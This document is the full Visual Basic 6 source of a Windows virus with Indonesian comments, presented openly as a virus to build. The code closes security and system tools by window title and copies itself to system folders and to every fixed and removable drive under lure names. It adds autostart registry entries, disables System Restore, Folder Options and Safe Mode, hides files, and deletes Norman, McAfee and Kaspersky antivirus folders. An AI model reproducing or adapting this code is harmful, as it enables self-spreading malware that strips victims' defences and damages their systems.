For you .THIS virus need ni form 1 and Module 4. For more details, please see your coding the following:
=====================================================================================
Private Sub bunuh_Timer()
'proteksi
tutup "avg"
tutup "anti"
tutup "ANSAV"
tutup "avast"
tutup "asm"
tutup "avira"
tutup "cillin"
tutup "clean"
tutup "CONFIRM FILE DELETE"
tutup "CONFIRM MULTIPLE FILE DELETE"
tutup "compact"
tutup "CRC"
tutup "debug"
tutup "detect"
tutup "NOD"
tutup "Gasak!!!"
tutup "hijack"
tutup "INTERNET OPTIONS"
tutup "kill"
tutup "KILLBOX"
tutup "k1ckth3w0rm"
tutup "kaspersky"
tutup "mcafee"
tutup "NVC"
tutup "norton"
tutup "regis"
tutup "Norman"
tutup "Ogav"
tutup "panda"
tutup "POCKET KILLBOX"
tutup "proc"
tutup "recovery"
tutup "remover"
tutup "rest"
tutup "scan"
tutup "system"
tutup "System Mechanic"
tutup "Setup"
tutup "SHOW/KILL RUNNING PROCESS"
tutup "SYSTEM RESTORE"
tutup "superdat"
tutup "S m a d A V"
tutup "SmadAV"
tutup "task"
tutup "TKM"
tutup "termin"
tutup "trojan"
tutup "tune"
tutup "update"
tutup "virus"
tutup "vaksin"
tutup "WAV"
tutup "wash"
tutup "walk"
tutup "w32"
'selamatkan moral bangsa
kick "17tahun"
kick "adult"
kick "anal"
kick "bangbros"
kick "bangbus"
kick "Bugil"
kick "CrystalClear"
kick "Doggy Style"
kick "amit-amit"
kick "hentai"
kick "hottie"
kick "kiara kener"
kick "Kama Sutra"
kick "lalatx"
kick "miyabi"
kick "masturb"
kick "naughty"
kick "nude"
kick "naked"
kick "nana1_chunk"
kick "pussy"
kick "porn"
kick "sex"
kick "scandal"
kick "spy cam"
kick "SQ Evolution"
kick "Three Some"
kick "webcam show"
kick "xxx"
Call ganda
Call Racuni_Registry
Call proteksi_folder
End Sub
Private Sub Form_Load()
Y4D0Y666.Hide
App.TaskVisible = False
If App.PrevInstance Then End
'ganda di folder windows dengan nama dafault.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & "\" & "default.bat", 0
'ganda di system32 dengan nama login.exe dan autoexec.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "login.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "autoexec.bat", 0
'ganda di mydocument dengan nama Kerispatih On Da Stage.exe
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "KerisPatih On Da Stage.exe", 0
Call ganda
Call Racuni_Registry
Call proteksi_folder
Call Kill_antivirus
End Sub
Private Function Racuni_Registry()
On Error Resume Next
'Disable System Restore
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "LimitSystemRestoreCheckpointing", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1
'Ubah tipe file *.exe jadi Winamp media file
CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "Winamp media file"
'Manipulasi Internet Explorer
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Window Title", "..:: YaDoY666 [WuZ HeRe] ::.."
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Start Page", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "My Pictures\About.htm"
'auto run virus
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "User-Login", GetSystemPath & "login.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Norton", GetWindowsPath & "default.bat"
'Disable Folder Options
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
'Atur registry agar tidak bisa masuk safe mode
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmio.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmload.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vgasave.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmiot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpcdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpwd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdpipe.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdtcp.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vgasave.sys"
End Function
Private Function ganda()
Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "I Love You.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "cewe_bandel.exe", 0
End If
Next
End Function
Private Sub Form_Unload(Cancel As Integer)
Shell GetSystemPath & "\" & "login.exe"
End Sub
Private Sub proteksi_folder()
On Error Resume Next
SetAttr GetWindowsPath, vbNormal
SetAttr GetWindowsPath & "\" & "desktop.ini", vbNormal
Kill GetWindowsPath & "\" & "desktop.ini"
Open GetWindowsPath & "\" & "desktop.ini" For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "CLSID={C96401CC-0E17-11D3-885B-00C04F72C717}"
Close #1
SetAttr GetWindowsPath & "\" & "desktop.ini", vbHidden
SetAttr GetWindowsPath, vbSystem
End Sub
Sub Kill_antivirus()
On Error Resume Next
'bunuh antivirus Norman
If Folder_Exist("C:\Norman") = True Then
prog_AntiVir = Array( _
"C:\Norman\Bin", _
"C:\Norman\Download", _
"C:\Norman\Nse\Bin", _
"C:\Norman\Nvc\Bin", _
"C:\Norman\Nvc\Config", _
"C:\Norman\Qtn\Bin" _
)
SetAttr "C:\Norman", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Norman"
End If
'bunuh antivirus Norman kalo ada di dalam direcktory Program Files
If Folder_Exist("C:\Program Files\Norman") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Norman\Bin", _
"C:\Program Files\Norman\Download", _
"C:\Program Files\Norman\Nse\Bin", _
"C:\Program Files\Norman\Nvc\Bin", _
"C:\Program Files\Norman\Nvc\Config", _
"C:\Program Files\Norman\Qtn\Bin" _
)
SetAttr "C:\Program Files\Norman", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Norman"
End If
'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\McAfee") = True Then
prog_AntiVir = Array( _
"C:\Program Files\McAfee\McAfee Firewall", _
"C:\Program Files\McAfee\McAfee VirusScan", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\DatBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Backups\EngineBackup", _
"C:\Program Files\McAfee\McAfee VirusScan\Res00", _
"C:\Program Files\McAfee\VirusScan Wireless" _
)
SetAttr "C:\Program Files\McAfee", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\McAfee"
End If
'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\Kaspersky Lab") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Policy", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Report", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Infected" _
)
SetAttr "C:\Program Files\Kaspersky Lab", vbNormal
For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.vxd"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Kaspersky Lab"
End If
End Sub
Module BUNUH
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Const WM_CLOSE = &H10
Public Function kick(target As String)
Dim H As Long
Dim T As String * 255
H = GetForegroundWindow
GetWindowText H, T, 255
If InStr(UCase(T), UCase(target)) > 0 Then
SendMessage H, WM_CLOSE, 0, 0
End If
End Function
Module FILE
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function DeleteFile Lib "kernel32.dll" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Enum SFolder
CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk semua namespace (/Desktop)
CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program user (/Programs)
CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon aplikasi Control Panel (/Control Panel)
CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer-printer yang diinstall (/Printers)
CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk menyimpan dokumen umum user (/My Document)
CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite user (/Favorites)
CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp user (/Startup)
CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen yang sering digunakan (/Recent)
CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To (/Send To)
CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file pada RecycleBin user (/Recycle Bin)
CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item menu Start (/StartMenu)
CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan digunakan untuk menyimpan objek file secara fisik pada desktop
CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada komputer lokal (/My Computer)
CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang kemungkinan ada pda folder virtual My Network Places (/My Network Places)
CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari hierarki namespace network (/NetHood)
CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT)
CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan dokumen template (/Template)
End Enum
'Get special folder
Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
'get special folder
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
'create buffer
Path$ = Space$(512)
'Get path from IDList(IDL)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
'Remove chr$(0)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function
'Get System Path
Public Function GetSystemPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & "\"
End Function
'Get Windows Path
Public Function GetWindowsPath() As String
On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & "\"
End Function
Public Function Folder_Exist(ByVal strFolder As String) As Boolean
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
If InStr(1, Right$(strFolder, 5), ".") > 0 Then
strFolder = fso.GetParentFolderName(strFolder)
End If
If fso.FolderExists(strFolder) Then
Folder_Exist = True
Else
Folder_Exist = False
End If
Set fso = Nothing
End Function
Module Racuni_Registry
'Registry API
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Const REG_DWORD = 4
Enum REG
HKEY_CURRENT_USER = &H80000001
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum
Enum TypeStringValue
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_MULTI_SZ = 7
End Enum
'Create or Set Dword Value Registry
Public Function CreateDwordValue(hKey As REG, Subkey As String, strValueName As String, dwordData As Long) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, dwordData, 4)
RegCloseKey ret
End Function
Public Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long
On Error Resume Next
Dim ret As Long
RegCreateKey hKey, Subkey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret
End Function
Public Function DeleteValue(hKey As REG, Subkey As String, lpValName As String) As Long
Dim ret As Long
On Error Resume Next
RegOpenKey hKey, Subkey, ret
DeleteValue = RegDeleteValue(ret, lpValName)
RegCloseKey ret
End Function
Module Restart
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const ANYSIZE_ARRAY = 1
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
'Reboot Windows(Not WinNT)
Public Function Reboot() As Long
'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
End Function
'Shutdown Windows(Not WinNT)
Public Function Shutdown() As Long
'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)
End Function
'Detection WinNT
Public Function IsWinNT() As Boolean
'On Error Resume Next
Dim myOS As OSVERSIONINFO
myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)
End Function
'For Get Privileges from Win NT
Public Sub EnableShutDown()
'On Error Resume Next
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES
hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
'Setting Privileges windows NT
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)
End Sub
' Reboot For WinNT
Public Sub RebootNT(Force As Boolean)
Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0
End Sub
' Shutdown For WinNT
Public Sub ShutdownNT(Force As Boolean)
Dim Flags As Long
Flags = EWX_SHUTDOWN
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0
End Sub
=========================================================================================
